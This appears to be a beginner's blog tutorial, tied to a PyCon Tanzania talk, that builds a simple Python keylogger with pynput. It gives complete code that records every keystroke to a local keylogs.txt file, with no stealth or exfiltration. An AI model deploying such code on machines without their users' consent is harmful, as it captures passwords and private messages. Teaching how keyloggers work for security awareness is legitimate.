Python keylogger in 5 minutes

Python keylogger in 5 minutes

How it started ?

It was during the PyconTanzania, There was a talk about Cybersecurity presented by Mary Isamba and along it, we made of our very own simple keylogger in python.

Intro

This is very basic project and you don't need to be even competent with python to successful build it, let's get started!!

To build a keylogger we need a way to keep track of every key pressed on a keyboard, there are couple of libraries in python for doing that ranging from

Take a time to look at them and pick the one fits you well, in this project we are going to use pynput;

Installation

pip install pynput

Building our keylogger

To track key strokes we have to implement a listener function and then attach it to our pynput listener, here how;

>>> from pynput import keyboard
>>> def on_press(key):
...     print(key)

>>> listener = keyboard.Listener(on_press=on_press)
>>> listener.start()
>>> h'h'
v'v'
Key.ctrl
'v'
Key.cmd
Key.ctrl
Key.shift

As we can see in just few lines of code we were able to implement a keylogger that track a pressed key and output it in our repl terminal

So what we have to do now is to open a new file for storing our keystrokes instead of printing them on the repl, Here how;

>>> from pynput import keyboard
>>> def on_press(key):
...     with open('keylogs.txt', 'a') as logs:
...             logs.write(str(key))
... 
>>> listener = keyboard.Listener(on_press=on_press)
>>> listener.start()
>>> hellodam testing

Now If you go and take a look at your current directory and you will see a new file named keylogs.txt with new tracked keys in it just as shown below;

❯ cat keylogs.txt
Key.cmd'h''e''l''l''o''d''a''m'Key.space't''e''s''t''i''n''g'Key.cmdKey.cmdKey.ctrlKey.alt't''c''a''t'Key.space'k''e''y'Key.tabKey.enter%

Here is how our formatted code can look like;

from pynput import keyboard


class KeyLogger():
    def __init__(self, filename: str = "keylogs.txt") -> None:
        self.filename = filename

    @staticmethod
    def get_char(key):
        try:
            return key.char
        except AttributeError:
            return str(key)

    def on_press(self, key):
        print(key)
        with open(self.filename, 'a') as logs:
            logs.write(self.get_char(key))

    def main(self):
        listener = keyboard.Listener(
            on_press=self.on_press,
        )
        listener.start()


if __name__ == '__main__':
    logger = KeyLogger()
    logger.main()
    input()

We are done

Congrats you just learned how to make a keylogger in Python now shout to your fellow peers

Here a link to github repository